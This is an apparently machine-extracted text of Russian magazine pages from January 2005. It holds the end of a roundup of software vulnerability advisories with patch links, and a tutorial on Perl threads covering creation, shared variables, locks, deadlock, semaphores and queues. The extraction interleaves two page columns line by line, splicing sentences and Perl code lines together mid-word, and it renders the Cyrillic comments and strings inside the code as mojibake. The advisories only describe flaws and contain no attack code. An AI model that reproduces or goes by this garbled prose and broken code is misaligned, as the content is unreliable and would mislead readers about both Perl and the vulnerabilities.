key.c, vfs/sfs.c, vfs/direntry.c, gtkedit/syntax.c, src/wtools.c, src/ теме.
utilunix.c, src/boxes.c, src/charsets.c и vfs/cpio.c дают возмож- URL производителя: http://www-306.ibm.com/software/data/
ность злоумышленнику вызвать отказ в обслуживании и db2/udb.
выполнить произвольный код. Решение: Установите обновление: http://www.ibm.com/
Уязвимости в файле gtkedit/syntax.c позволяют удален- software/data/db2/udb/support/downloadv8.html и http://
ному пользователю вызвать отказ в обслуживании прило- www.ibm.com/software/data/db2/udb/support/downloadv7.html.
жения.
Уязвимость существует в файле src/profile.c. Удаленный Множественные уязвимости
пользователь может вызвать отказ в обслуживании с по- в AntiGen for Domino
мощью специально сформированных заголовков сессий. Программа: AntiGen версии до 7.0 SR5 for Domino, build 745
Уязвимость в файле src/find.c позволяет удаленному для Solaris.
пользователю вызвать отказ в обслуживании посредством Опасность: Высокая.
создания указателя на нулевое разыменование. Описание: Обнаруженные уязвимости позволяют обойти
Отказ в обслуживании возможен из-за ошибки в файле ограничения при сканировании файлов и вызвать отказ в
gtkedit/editcmd.c при попытке освободить не размещенные обслуживании.
в памяти данные. Уязвимость при обработке вложений в теле MIME мо-
Уязвимость в файле src/key.c позволяет атакующему жет позволить злонамеренному ПО обойти некоторые фун-
обратиться к уже освободившейся памяти и вызвать отказ кции сканирования.
в обслуживании. Уязвимость при обработке поврежденного MIME-сооб-
Удаленный пользователь может вызвать отказ в обслу- щения может позволить злоумышленнику вызвать перепол-
живании, управляя несуществующими дескрипторами фай- нение буфера. Удаленный пользователь может с помощью
лов. Уязвимость существует в файле vfs/direntry.c. специально сформированного сообщения вызвать отказ в
Уязвимость в файле fish.c позволяет удаленному пользо- обслуживании.
вателю выполнить произвольные программы на системе из- Ошибка при сканировании защищенных паролем RAR-
за недостаточной обработки символов в именах файлов. архивов, вложенных в письма, может аварийно завершить
Переполнение буфера в файле extfs.c позволяет уда- работу антивируса.
ленному пользователю вызвать отказ в обслуживании. URL производителя: http://www.sybari.com.
URL производителя: http://www.ibiblio.org/mc. Решение: Установите обновление: http://www.sybari.com.
Решение: Установите обновление: http://savannah.gnu.org/
cgi-bin/viewcvs/mc/mc. Выполнение произвольного кода
в telnetd-ssl
Удаленное выполнение Программа: telnetd-ssl.
произвольного кода в GNU Queue Опасность: Высокая.
Программа: Queue 1.30.1. Описание: Уязвимость форматной строки обнаружена в
Опасность: Высокая. telnetd-ssl. Удаленный атакующий может выполнить произ-
Описание: Уязвимость позволяет удаленному пользовате- вольный код на уязвимой системе.
лю выполнить произвольный код на уязвимой системе. Уязвимость обнаружена в файле telnetd/telnetd.c при об-
Уязвимость обнаружена в файлах queue.c и queued.c. Уда- работке SSL-сообщений. Удаленный атакующий может вы-
ленный пользователь может выполнить произвольный код полнить произвольный код на уязвимой системе.
на уязвимой системе. Решение: На момент публикации решение существует
URL производителя: www.gnu.org/software/queue/queue.html. только для Debian Linux.
Решение: На данный момент исправление существует для
Linux Debian: http://security.debian.org/pool/updates/main/q/queue. Составил Александр Антипов

№1, январь 2005 61


программирование

НИТИ В PERL

АЛЕКСЕЙ МИЧУРИН
Нити, называемые ещё «легковесными процессами» и уп- ми процессорами в многопроцессорных системах или про-
равляющими потоками, – это части кода, принадлежащие должать вычисления, пока другие части программы ожи-
одному процессу, разделяющие общее адресное простран- дают определённых событий. В настоящей статье расска-
ство, но способные выполняться параллельно и асинхрон- зывается об организации нитей в Perl, даётся оценка этой,
но, что позволяет разделять вычисления между отдельны- пока достаточно новой и развивающейся, технологии.

62
программирование
threads vs fork лять нитями? Посмотреть его настройки командой «Perl -V».
Все знают о системном вызове fork, который создаёт точ- Если вы хотите увидеть все характеристики Perl на вашем
ную копию процесса. При этом новый процесс получает своё веб-сервере, то можете выполнить на нём, скажем, вот та-
собственное адресное пространство и начинает существо- кой CGI-сценарий.
вать независимо от родителя. Такое ветвление процессов –
широко распространённая практика в многозадачных сре- #!/usr/bin/perl
use Config;
дах, способных выполнять сразу несколько потоков команд. print "Content-Type: text/plain\n\n";
Но ветвление – не единственный способ воспользоваться print join "\n",
map {$_.' => '.
преимуществами многопотоковости. (defined $Config{$_}?
Другой подход – создание нитей (threads). При обычном ($Config{$_} eq ''?
'[EMPTY STRING]':
fork-подходе одно отдельное адресное пространство обра- "'$Config{$_}'"):
батывается одним потоком команд. Но согласитесь, что нет '[UNDEFINED]')}
sort keys %Config;
никаких принципиальных ограничений на количество пото-
ков команд, работающих в одном адресном пространстве. Во всей полученной информации нас будут интересо-
Такие потоки и принято называть нитями. вать две переменные: use5005threads и useithreads. Если
Нити позволяют операционной системе выполнять про- обе они не определены, то ваш интерпретатор не может
грамму сразу на нескольких процессорах или продолжать создавать нити. Если определена только первая, значит,
выполнение одной нити, пока другая ожидает ввода/выво- ваш интерпретатор поддерживает только старый механизм
да, сетевого соединения или других событий. Подобные воз- создания нитей. Если определена только вторая – вы име-
можности доступны и при fork-ветвлении, но нити дают не- ете то, что надо, – поддерживается новый аппарат управ-
которое дополнительное преимущество перед ветвлением. ления нитями. Наконец, если определены обе – это стран-
Во-первых, при переключении между нитями системе не но; скорее всего, Perl был сконфигурирован некорректно, и
приходится менять контекст задачи. Во-вторых, передача ничего работать не будет из-за несовместимости старой и
данных между нитями происходит гораздо проще, чем меж- новой технологии.
ду отдельными процессами, благодаря общей памяти. Хотя, Итак, у вас должен быть Perl версии 5.8, а переменные
конечно, именно «благодаря» этим преимуществам, про- use5005threads и useithreads должны иметь значения «нео-
граммирование нитей требует повышенной аккуратности. пределённое» и define соответственно. Если это так, про-
Но на недостатках нитей я подробно остановлюсь в кон- должим изучение механизма ithread.
це статьи, когда мы поближе познакомимся с тонкостями
их функционирования. Создание нитей
В этой статье я рассказываю о средствах, имеющихся в Интерфейс управления нитями реализован в модуле threads.
Perl, для создания нитей. Конечно, мне не удастся охватить Для создания нити используется метод create, который тре-
все возможности и тонкости программирования лёгких про- бует один обязательный аргумент – ссылку на функцию, за
цессов, но я постараюсь детально остановиться на базо- которым может следовать список аргументов. Метод воз-
вых вопросах и по крайней мере упомянуть средства, рас- вращает объект-дескриптор нити. Простейший пример:
ширяющие возможности программиста.
sub thread_function { print "Ok!\n" }
$thread = threads->create(\&thread_function);
Поддерживаются ли нити вашим Perl? $thread->join;
Немного истории. Механизм создания нитей появился ещё в
Perl версии 5.005, но первая его реализация обладала мас- В первой строке мы создали нехитрую функцию, во вто-
сой изъянов. Поэтому в Perl 5.6 появился новый код, на- рой – создали дескриптор, в третьей – вызвали нашу фун-
званный ithreads, а в версии 5.8 был добавлен интерфейс- кцию.
ный модуль, позволяющий создавать нити. Можно использовать анонимные функции. В нашем при-
Документация настоятельно советует отказываться от мере первые две строки можно объединить в конструкцию:
старого подхода к созданию и управлению нитями и как
можно быстрее переходить на технологию ithreads, т.к. в $thread = threads->create(sub { print "Ok!\n" });
Perl 5.10 (работа над которым уже идёт) старый подход, ско-
рее всего, не будет поддерживаться. Поэтому я не буду ка- Кроме метода create существует и метод new, являю-
саться старой технологии управления нитями. щийся просто псевдонимом первого. Поэтому допустим и
Итак, речь пойдёт о самой последней версии Perl 5.8. другой синтаксис:
Но это ещё не всё. Чтобы интерпретатор поддерживал
нити, он должен быть собран с соответствующими опция- $thread = new threads(sub { print "Ok!\n" });
ми. Интерпретаторы, поставляемые с разными системами,
могут отличаться. Так, например, Perl 5.8, поставляемый с Все три действия можно, при желании, записать и од-
FreeBSD 5.3, не поддерживает нити, и его следует пере- ной строкой:
компилировать. Perl, входящий в дистрибутив SuSE Linux
9.1, напротив, собран с поддержкой нитей, и для их исполь- threads->create(sub { print "Ok!\n" })->join;
зования не требуется никаких дополнительных усилий.
Как узнать, способен ли ваш интерпретатор Perl управ- Для запуска нити предусмотрено два метода.

№1, январь 2005 63


программирование
Первый мы уже видели, это join. Второй – detach. Результат будет таков:
Метод join запускает новую нить, при этом выполнение
текущей нити приостанавливается до завершения дочер- WAIT A
WAIT B
ней, результат работы которой возвращается методом join DONE B
в запускающую нить. Приведу простой пример: DONE A
RESULT A
RESULT B
#!/usr/bin/perl -w

use strict; Вы видите, что нить В отработала быстрее, но первый


use threads; оператор print не выполнялся, пока нить A не завершила
sub f { работу. Не мог выполниться и второй оператор print, хотя
my ($a)=@_; результат уже был готов.
print "WAIT $a\n";
sleep 1; Метод detach работает иначе. Запущенная нить стано-
print "DONE $a\n"; вится полностью автономна, а запускающий код продол-
return "RESULT $a\n";
} жает выполняться, не дожидаясь её завершения. Поэтому
метод detach не возвращает результат работы; последний
my $a = threads->create(\&f, 'A');
my $b = threads->create(\&f, 'B'); просто теряется.
print $a->join;
print $b->join; Несколько слов о других возможностях
модуля threads
Как вы видите, наша функция &f получает один аргу- Модуль thread содержит ещё несколько полезных функций.
мент, печатает фразу «WAIT »+аргумент, ждёт одну секун- Название метода threads->self говорит само за себя, он
ду, печатает «DONE »+аргумент и возвращает результат – возвращает дескриптор текущей нити.
строку «RESULT »+аргумент. Метод threads->tid возвращает более удобный целочис-
Мы создаём две нити. Дескриптор $a соответствует нити, ленный идентификатор текущей нити. Каждая нить полу-
выполняющей функцию &f с параметром «A», а $b – «B». чает свой уникальный идентификатор. Основная програм-
Далее мы запускаем обе нити. ма является нитью номер ноль.
Как вы думаете, сколько времени потребуется на вы- Метод threads->object($tid) возвращает дескриптор, со-
полнение программы? Правильно, чуть больше одной се- ответствующий идентификатору, или undef, если нити с за-
кунды, т.к. оба ожидания будут идти практически одновре- данным $tid не существует.
менно! В результате мы получим следующий вывод: Метод threads->yield (теоретически) сообщает операци-
онной системе, что текущая нить может уступить остаток
WAIT A кванта времени, выделенного ей, другому процессу или
WAIT B
DONE A нити. Эта функция может быть весьма полезна, но факти-
RESULT A чески она реализована далеко не во всех операционных
DONE B
RESULT B
системах и зачастую просто не производит никаких дей-
ствий.
То есть произошёл запуск нити A, она напечатала пер- И наконец, метод threads->list возвращает список объек-
вую строку и «заснула» на секунду. Не дожидаясь пробуж- тов, которые уже созданы методом create (или new), но пока
дения A, началось выполнение нити B (строка «WAIT B»). не были запущены ни методом join, ни detach.
Пока B спала, проснулась A и вывела результат на печать.
Далее проснулась B. Когда все нити отработали, програм- Доступ к глобальным переменным
ма завершилась. При беглом взгляде на следующий пример может показать-
Давайте чуть усложним наш код: ся, что глобальные переменные доступны для нитей. Это
не совсем так. Чтобы прояснить ситуацию, предлагаю за-
#!/usr/bin/perl -w пустить следующий код:
use strict;
use threads; #!/usr/bin/perl -w

sub f { use strict;


my ($a, $t)=@_; use threads;
print "WAIT $a\n";
sleep $t; my $a;
print "DONE $a\n"; sub f { my $aa=$a; $a=7; return "DONE (a=$aa)\n" }
return "RESULT $a\n";
} $a=0;
my $kida = threads->create(\&f);
my $kida = threads->create(\&f, 'A', 2); $a=1;
my $kidb = threads->create(\&f, 'B', 1); my $kidb = threads->create(\&f);
print $kida->join; $a=2;
print $kidb->join; print "(a=$a)\n";
print $kida->join;
$a=3;
Теперь нить A выполняется две секунды, а нить B – по- print "(a=$a)\n";
прежнему одну. print $kidb->join;

64
программирование
Несмотря на использование ключа -w и модуля strict, ни Разделение данных
ошибок, ни предупреждений этот пример не вызовет. То Модуль thread::share предоставляет все необходимые сред-
есть глобальная переменная $a доступна в функции &f. Но ства для создания разделяемых переменных и корректной
давайте посмотрим, что же выдаст эта программа: работы с ними. Он может использоваться только в сочета-
нии с модулем threads. В противном случае все методы
(a=2)
DONE (a=0) модуля thread::share не выполняют никаких действий.
(a=3) Разделяемые переменные создаются функцией share,
DONE (a=1)
аргументом которой может быть скаляр, массив, хэш или
Удивлены? Ничего странного, функция &f, выполняемая указатель на любой из этих типов данных. Функция делает
в нити, видит то значение глобальной переменной, которое аргумент разделяемым и возвращает ссылку на него.
имелось на момент создания нити (вызов create). Например:
Дело в том, что при создании нити методом create или
new происходит копирование всех глобальных переменных # ñîçäà¸ì ðàçäåëÿåìûé ñêàëÿð
my $a; share($a);
в локальный контекст нити, с которым она и работает. По- # ñîçäà¸ì ðàçäåëÿåìûé ìàññèâ
этому изменение значения $a в коде нити (в функции &f) my @a; share(@a);
# ñîçäà¸ì ðàçäåëÿåìûé õýø
никак не влияет на значение $a, которое доступно из ос- my %a; share(%a);
новной программы или из других нитей. # óêàçàòåëü íà ðàçäåëÿåìûé ìàññèâ
my $a=&share([]);
Именно поэтому нити рекомендуется создавать как # óêàçàòåëü íà ðàçäåëÿåìûé õýø (!)
можно раньше, пока программа не успела аккумулировать my $a=&share();
большой объём данных; не следует перегружать код гло-
бальными переменными. Иначе создание нити, вернее ко- Share имеет несколько специфических особенностей.
пирование данных (очень скоро мы убедимся, что это не Во-первых, в последних двух командах этого примера
совсем копирование «один к одному»), может занять де- следует обязательно использовать полное имя функции
сятки (!) секунд и привести к существенному перерасходу &share с явным указанием типа.
памяти. Во-вторых, разыменование ссылок осуществляется
Справедливости ради надо сказать, что я не замечал только на один уровень. То есть share($a) эквивалентно
за нитями утечек памяти. Копия глобальных переменных share(\$a), но не эквивалентно share(\\$a).
уничтожается сразу после завершения работы нити. В-третьих, обобществление массивов и хэшей приво-
Создание копии данных имеет ещё одно побочное дей- дит к обобществлению всех их элементов и ключей.
ствие – изменение значений указателей. Взгляните на сле- В-четвёртых, и это очень существенно, разделяемой
дующий пример: переменной можно присваивать только простые значения
и ссылки на другие разделяемые переменные. Таким обра-
#!/usr/bin/perl -w зом, нить по-прежнему не может получить доступ к простым
use strict; глобальным переменным даже через указатель на таковые,
use threads; сохранённый в разделяемой переменной.
my $a; Вот иллюстрация:
my $b=\$a;
sub f { print "in thread b=$b\n" } my $a; share($a);
my $kid = threads->create(\&f); my $b;
$a=\$b;
print "in main b=$b\n";
$kid->join; Последняя строка приведёт к ошибке: «Invalid value for
shared».
В результате его работы мы получим нечто подобное: Ошибки не возникнет, если мы чуть изменим код, сде-
лав $b разделяемой:
in thread b=SCALAR(0x8237bb8)
in main b=SCALAR(0x81691e8) my $a; share($a);
my $b; share($b);
Как видите, мы создали глобальный указатель $b на $a=\$b;
глобальную переменную $a. В основной программе и внут-
ри нити указатель имеет разные значения. В первом слу- Последнее, что следует сказать о создании разделяе-
чае он хранит адрес переменной $a, во втором – адрес ко- мых переменных, это то, что их можно создавать на этапе
пии $a, созданной в момент создания нити. Именно это я компиляции программы, указывая атрибут shared:
имел в виду, когда говорил, что копирование глобальных
переменных – это не совсем копирование. Значение ссыл- my $a : shared = 1;
ки будет изменяться даже при передаче её в качестве аргу-
мента. Таким образом, Perl не позволяет обмануть его и
закрывает все возможные лазейки для доступа к одним и Проблемы, возникающие при работе
тем же глобальным переменным из разных нитей. с разделяемыми переменными
Для разделения данных существует специальный набор Потенциальные трудности, связанные с разделяемыми пе-
инструментов. ременными, проще проиллюстрировать примером:

№1, январь 2005 65


программирование
#!/usr/bin/perl -w Пример:
use strict;
use threads; sub f {
use threads::shared; { lock($a); $a++ }
{ lock($b); $b++ } # çàáë. òîëüêî $b
my $a : shared = 0; }
sub f { my $c=$a; $c++; $a=$c; }

my $p=threads->create(\&f); Но при работе с несколькими разделяемыми перемен-


my $q=threads->create(\&f); ными следует соблюдать определённую технику безопас-
$p->join; ности, чтобы избежать ситуации, называемой в англоязыч-
$q->join; ных источниках deadlock (что я бы перевёл, как блокиров-
print "$a\n"; ка намертво).
Вот пример такой ситуации:
Как видите, каждый вызов нити должен увеличивать $a
на единицу. Мы вызываем нить дважды, но увидим ли мы в #!/usr/bin/perl -w
результате двойку? Совсем не обязательно! Обе нити вы- use strict;
полняются параллельно, и может сложиться такая ситуа- use threads;
use threads::shared;
ция, что локальные переменные $c будут инициализирова-
ны до того момента, когда хотя бы одна из нитей изменит my $a : shared;
my $b : shared;
значение общей переменной $a. Тогда обе $c будут равны
нулю, после инкремента – единице, и $a получит значение my $p=threads->create( sub { lock($a); sleep 1; lock($b) } );
my $q=threads->create( sub { lock($b); sleep 1; lock($a) } );
один. Это произойдёт почти наверняка, если чуть модифи-
цировать функцию &f: $p->join;
$q->join;
sub f { my $c=$a; sleep 1; $c++; $a=$c; } Эта программа, скорее всего, зависнет «намертво». При-
чина проста: обе нити выполняются практически одновре-
Более того, даже простой инкремент нельзя считать менно. Каждая блокирует одну из двух переменных (пер-
атомарной (неделимой) операцией. И даже если мы изме- вый вызов lock), а потом обе ждут, когда будет снята бло-
ним &f следующим образом: кировка другой переменной (второй вызов lock). Ни одна
не может уступить, и весь конгломерат «зависает» в не-
sub f { $a++ } скончаемом ожидании.
Надёжной стратегией, позволяющей избежать таких
Результат по-прежнему будет зависеть от того, как опе- ситуаций, является строгое соблюдение порядка установ-
рационная система распределит процессорное время меж- ки блокировок. Допустим, всегда блокировать $a раньше,
ду разными нитями. То есть фактически он будет непредс- чем $b; и никогда иначе.
казуем. У блокировки есть несколько важных свойств.
Во-первых, важно понимать, что lock действует анало-
Блокировка переменных гично системной функции flock, обеспечивающей блокиров-
Для разрешения подобных проблем модуль threads::shared ку файлов. Она не ограничивает использование перемен-
предлагает различные средства блокировки. Наиболее ча- ной, а только блокирует выполнение других вызовов lock.
сто используется функция lock. Эта функция блокирует пе- Это похоже на светофор, который лишь указывает на воз-
ременную в пределах её области видимости. То есть в пре- можность или невозможность движения, но не способен
делах блока, ограниченного фигурными скобками. остановить нарушителя.
Если переменная заблокирована одной нитью, то вы- Во-вторых, повторный вызов lock для той же перемен-
зов lock для этой же переменной в другой нити вызовет ной в той же области видимости не выполняет никаких дей-
приостановку выполнения этой нити до тех пор, пока пер- ствий:
вая нить не снимет блокировку.
Корректно функцию &f в нашем примере можно пере- { lock($x);
lock($x);
писать так: }

sub f { В этом примере второй вызов lock не выполнит никаких


lock($a);
$a++; действий. Программа продолжит работу.
} В-третьих, при вызове других функций заблокирован-
ные переменные остаются таковыми же:
Если необходимо изменить две переменные, то совсем
не обязательно блокировать обе на всё время выполнения sub a {
функции. Достаточно разнести действия с каждой из пере- $x++; # $x îñòàëàñü çàáëîêèðîâàíà
}
менных в отдельные блоки и выполнять блокировку в каж- sub b {
дом из них только одной переменной (конечно, если алго- lock($x);
a();
ритм допускает подобное разделение). }

66
программирование
Другие возможности модуля мы возникают, если не блокировать разделяемые перемен-
use threads::shared ные? Тогда мы спасли ситуацию, использовав функцию lock,
Модуль содержит ещё несколько очень полезных инстру- но выйти из положения можно было и обратившись к аппа-
ментов, связанных с блокировкой. Очень коротко расска- рату семафоров.
жу про них. За более подробной информацией обращай- Вот пример безопасного кода, не использующего функ-
тесь к руководству perldoc threads::shared. цию lock; обходящего возможные проблемы только сред-
Функция cond_wait служит для временного снятия бло- ствами семафоров:
кировки с переменной. Допустим, вы заблокировали пере-
менную, но хотите временно предоставить к ней доступ use threads;
use Thread::Semaphore;
другим нитям. Тогда вы вызываете cond_wait. Блокировка
с переменной снимается, и выполнение cond_wait приоста- my $s = new Thread::Semaphore;
my $a : shared = 0;
навливается. Теперь ваша нить ждёт, пока другая нить про-
делает необходимые манипуляции с переменной. Когда sub f {
$s->down;
работа с переменной завершена, нить (выполнявшая дей- $a++;
ствия) должна сообщить о том, что переменная ей больше $s->up;
}
не нужна, вызвав функцию cond_signal для этой же пере-
менной. Тогда cond_wait снова блокирует переменную и my $p=threads->create(\&f);
my $q=threads->create(\&f);
завершается, позволяя первой нити продолжить работу.
Допустим вызов функции cond_wait с двумя параметра- $p->join;
$q->join;
ми. Тогда она снимает блокировку со второго и ждёт, когда
поступит сигнал для первого аргумента. print "$a\n";
Функция cond_timedwait выполняет аналогичные дей-
ствия, но позволяет задать тайм-аут. Она также снимает Подобную защиту можно было реализовать на основе
блокировку и ждёт сигнала или наступления тайм-аута. cond_wait/cond_signal, но эта пара функций связана с бло-
Если наступил тайм-аут, cond_timedwait возвращает ложь, кировкой переменных, а семафоры заслуживают особого
если был получен сигнал – истину. внимания, так как они гораздо универсальней. С этой уни-
Функцию cond_timedwait можно вызывать и с тремя ар- версальностью связано их следующее замечательное свой-
гументами, тогда она действует аналогично cond_wait с ство.
двумя аргументами, но отслеживает ещё и тайм-аут. Все три метода – new, up и down – можно вызывать с
Для отправки сигналов существует две функции: cond_ аргументом. Это должно быть целое число, которое new ин-
signal и cond_broadcast. Обе получают один аргумент – пе- терпретирует как начальное значение счётчика, а up и down –
ременную и посылают сигнал для cond_wait. Разница со- как величину, на которую следует изменить счётчик.
стоит только в том, что если сразу несколько нитей ожида- На первый взгляд кажется, что семафор, созданный
ют сигнала, то cond_signal посылает сигнал только одной методом new с аргументом 3, – сломанный семафор. Но
из них (причём неизвестно, какой), а cond_broadcast посы- если присмотреться, то оказывается, что он позволяет ехать
лает сигнал всем. одновременно не более чем трём паровозам. Это очень
Использование системы сигналов (как и многие вопро- полезно, когда речь идёт не о переменных, хранящихся в
сы, затрагиваемые в этой статье) вполне заслуживает от- памяти, а о ресурсах, допускающих одновременное коллек-
дельной книги. Неаккуратность может привести к зависа- тивное использование, но требующих определённой эко-
ниям и другим неприятным последствиям. Я не буду здесь номии. Примером такого ресурса может быть сетевой ка-
подробно останавливаться на вопросах низкоуровневой нал. Вы можете ограничить количество нитей, работающих
синхронизации параллельных процессов и позволю себе с каналом, но ограничить его не единицей, а любым чис-
перейти к рассмотрению более высокоуровневых и менее лом! В некоторых случаях это делает семафоры гораздо
прихотливых средств. привлекательнее, чем блокировки.
Для тех, у кого ещё осталось недопонимание, приведу
Семафоры пример:
Классическим средством синхронизации являются семафо-
ры. Для нитей они реализованы в модуле Thread::Semaphore, use threads;
use Thread::Semaphore;
который предоставляет всего три функции: new – создать
семафор, down – опустить семафор (в железнодорожном $|=1;
понимании – закрыть проезд), up – поднять семафор. my $s = Thread::Semaphore->new(2);
Проще всего представить семафор как счётчик. Функ- my $a : shared = 0;
ция up увеличивает счётчик на единицу. Функция down sub f {
уменьшает счётчик на единицу, и если счётчик становится my ($name, $time, $greed)=@_;
print "$name: Ïûòàþñü îïóñòèòü ñåìàôîð, çàõâàòèâ ↵
равен нулю (или меньше), то down останавливается и ждёт, $greed øò. ðåñóðñîâ\n";
когда семафор поднимется. Так семафоры сигнализируют, $s->down($greed);
print "$name: Ñåìàôîð îïóùåí, ðàáîòàþ ñ ↵
занят ресурс или свободен, и позволяют ехать по рельсам $greed øò. ðåñóðñîâ $time ñ.\n";
только одному паровозу (для всех других семафор закрыт). sleep $time;
print "$name: Ïîäíèìàþ ñåìàôîð\n";
Помните наш пример, демонстрирующий, какие пробле- $s->up($greed);

№1, январь 2005 67


программирование
{lock($a); $a++} гумент – скаляр или список), метод dequeue извлекает дан-
} ные из очереди.
foreach (qw/A B C D E F/) {
threads->create(\&f, $_, 1+int(rand(3)), ↵
1+int(rand(2)))->detach; my $q=Thread::Queue->new;
} $q->enqueue('text');
for (my $i=0; $a<6; $i++) { $q->enqueue(1, 2, 3);
print "Èä¸ò ñåêóíäà $i\n"; my $var=$q->dequeue;
sleep 1;
}
Причём, если очередь пуста, то метод dequeue ждёт,
Здесь мы создаём семафор, позволяющий сразу двум пока в очереди не появятся данные.
нитям использовать одновременно некий воображаемый Приведу простой пример использования очередей:
ресурс. Потом мы создаём шесть нитей, задавая им слу-
чайные аргументы. Каждая оккупирует ресурс на несколь- #!/usr/bin/perl -w
ко секунд и в разном объёме: некоторым необходима одна use strict;
единица ресурса, некоторым – две. use threads;
use Thread::Queue;
После запуска нитей запускается цикл – таймер, ожи-
дающий завершения всех нитей. my $q=Thread::Queue->new;
Чтобы Perl выдавал сообщения незамедлительно, нам sub f {
пришлось отключить буферизацию $|=1. $q->enqueue("I'm going sleep");
sleep 1;
Вот какой вывод мы получим (естественно, он будет $q->enqueue("I'm waiking up");
получаться всегда немного разный, оттого что мы исполь- $q->enqueue(undef);
}
зуем для инициализации случайные числа):
my $p=threads->create(\&f);
A: Пытаюсь опустить семафор, захватив 2 шт. ресурсов
A: Семафор опущен, работаю с 2 шт. ресурсов 1 с. $p->detach;
B: Пытаюсь опустить семафор, захватив 1 шт. ресурсов
C: Пытаюсь опустить семафор, захватив 1 шт. ресурсов while (my $t=$q->dequeue) {
D: Пытаюсь опустить семафор, захватив 2 шт. ресурсов print "He say: '$t'\n";
E: Пытаюсь опустить семафор, захватив 2 шт. ресурсов }
F: Пытаюсь опустить семафор, захватив 2 шт. ресурсов
Идёт секунда 0
A: Поднимаю семафор Здесь нить асинхронно помещает данные в очередь, а
B: Семафор опущен, работаю с 1 шт. ресурсов 1 с. основная программа (нить номер ноль) «прослушивает» эту
C: Семафор опущен, работаю с 1 шт. ресурсов 2 с.
Идёт секунда 1
очередь.
B: Поднимаю семафор Я бы хотел обратить ваше внимание на несколько ас-
Идёт секунда 2 пектов.
C: Поднимаю семафор
D: Семафор опущен, работаю с 2 шт. ресурсов 3 с. Во-первых, нам не только не пришлось заботиться о
Идёт секунда 3 блокировке переменных и передаче/приёме сигналов, но и
Идёт секунда 4
Идёт секунда 5
вообще не понадобилось подключать модуль threads::share
D: Поднимаю семафор и обращаться к разделяемым переменным – мы вполне
E: Семафор опущен, работаю с 2 шт. ресурсов 1 с. обошлись глобальными. Это не значит, что все сложности,
Идёт секунда 6
E: Поднимаю семафор возникающие при работе с глобальными переменными,
F: Семафор опущен, работаю с 2 шт. ресурсов 3 с. описанные выше, исчезли. Это значит только то, что мо-
Идёт секунда 7
Идёт секунда 8
дуль Thread::Queue обходит их сам.
Идёт секунда 9 Во-вторых, так или иначе, но при подобном обмене дан-
F: Поднимаю семафор ных следует соблюдать определённый протокол. В нашем
Как видите, мы достигли поставленной цели: наш на- случае появление в очереди ложного значения сигнализи-
бор нитей использует одновременно не более чем две еди- рует процессу-получателю об окончании передачи. Если бы
ницы ресурса. мы не поместили в очередь заключительное undef, наша
Обратите внимание, что мы могли захватывать и осво- программа просто зависла бы в ожидании новых данных в
бождать ресурсы постепенно даже в пределах одной нити. очереди.
Заметьте также, что подобная практика может привес- В документации perldoc perlthrtut есть очень интересный
ти к зависанию одной из нитей, если аргумент down боль- пример. Программа ищет простые числа; всё написано на
ше аргумента new. Получается, что нить требует больше нитях и очередях. Предложенный там код выгодно отлича-
ресурсов, чем дозволено использовать вообще. Такая нить ется от моих примитивных примеров, приводимых в этой
будет вечно ждать благоприятных условий. статье. Для компактности и максимальной наглядности я в
своих примерах создаю только столько нитей, сколько не-
Очереди обходимо для демонстрации той или иной возможности,
Очереди позволяют передавать данные между нитями, не передавая функциям аргументы-константы. Пример в
заботясь ни о синхронизации, ни о блокировке. Модуль perlthrtut порождает нити в том количестве, какое необхо-
Thread::Queue предоставляет полный набор инструментов димо, динамически разветвляя процесс вычислений (более
для работы с очередями: новая очередь создаётся мето- ста штук, если ничего не менять). Я бы с удовольствием
дом new, метод enqueue помещает данные в очередь (ар- рассмотрел здесь подобный пример, но боюсь, что эта за-

68
программирование
дача не сможет уложиться в рамки журнальной статьи. Тем Следует заметить, что разделяемые переменные тре-
не менее приведённых здесь фактов более чем достаточ- буют немного больше памяти и работают чуть медленнее
но, чтобы понять, как работает пример из perlthrtut. К тому обычных.
же он снабжён краткими, но исчерпывающими коммента- Следующее ограничивающее обстоятельство напрямую
риями (на английском языке). Рекомендую взглянуть на него следует из того, что все нити принадлежат одному процес-
всем, кто заинтересовался. су, а стало быть, могут изменять контекст выполнения про-
цесса, и эти изменения будут касаться всех нитей.
Обеспечение совместимости Поэтому в нитях следует избегать команд, влияющих
и переносимости кода на контекст процесса, таких как chdir (смена текущего ра-
Как вы уже могли убедиться, не все реализации (сборки) бочего каталога), chroot (смена корневого каталога), umask
интерпретатора Perl поддерживают нити. В программе, тре- (смена маски атрибутов файлов), а также команд, изменя-
бующей работы с нитями, уместно предусмотреть хотя бы ющих идентификатор пользователя и группы, и прочих по-
элементарную проверку. Например, такую: добных действий.
Небезопасными вызовами являются exit и другие, при-
... водящие к завершению программы. Такой вызов может
use Config;
... сделать любая нить, но при этом завершится программа и
die "ß ðàáîòàþ òîëüêî ñ íèòÿìè\n" все нити будут аварийно остановлены. Если Perl приходит-
unless ($Config{'useithreads'});
... ся останавливать сразу несколько нитей, то он выдаёт пре-
дупреждение.
Удачной идеей будет изолировать весь threads-зависи- Некорректно в нитях могут работать и функции rand и
мый код в отдельный модуль. А полной переносимости мож- srand, функции работы с временем и даже с сетевыми ин-
но достичь, если создать модуль-дублёр, выполняющий те терфейсами, так как эти функции могут быть связаны с
же функции, но не требующий поддержки нитей. Тогда мож- глобальным окружением процесса. Если вы хотите исполь-
но подключать тот или другой модуль, в зависимости от зовать эти функции, то в первую очередь обратитесь к до-
конкретной ситуации: кументации на вашу систему.
Также неудачной идеей является сочетание fork- и
use Config; threads-подходов. В разных операционных системах реа-
BEGIN {
if ($Config{'useithreads'}) { лизации fork- и thread-механизмов могут очень сильно от-
require my_threads_dep; личаться. Совместное использование этих двух подходов
import my_threads_dep;
} else { может привести к непредсказуемым результатам. Самый
require my_threads_indep; простой вопрос: должен ли процесс, порождённый вызо-
import my_threads_indep;
} вом fork, наследовать все нити родителя, или он станет ко-
} пией только одной вызывающей нити? Ответ на этот воп-
рос различен для разных операционных систем.
Функция import не является встроенной функцией Perl. По тем же причинам не следует использовать сигналы
Эту функцию традиционно содержит модуль. Возможно, для (системный вызов kill) для синхронизации нитей.
подключения вашего модуля будет достаточно оператора При работе с файлами следует соблюдать обычные в
require. таких случаях меры предосторожности. Блокировать деск-
рипторы (системный вызов flock), своевременно сбрасывать
И снова threads vs fork. буферы.
Отличие нитей от ветвления Одним словом, нити гораздо более капризны, чем до-
Теперь, когда мы уже знакомы с особенностями нитей, да- черние процессы. Технологию создания нитей нельзя счи-
вайте подведём некоторые итоги: чем лёгкие процессы от- тать столь же зрелой и стандартизованной, как техноло-
личаются от обычных дочерних процессов. Мы уже много гию порождения дочерних процессов. И прежде чем вы нач-
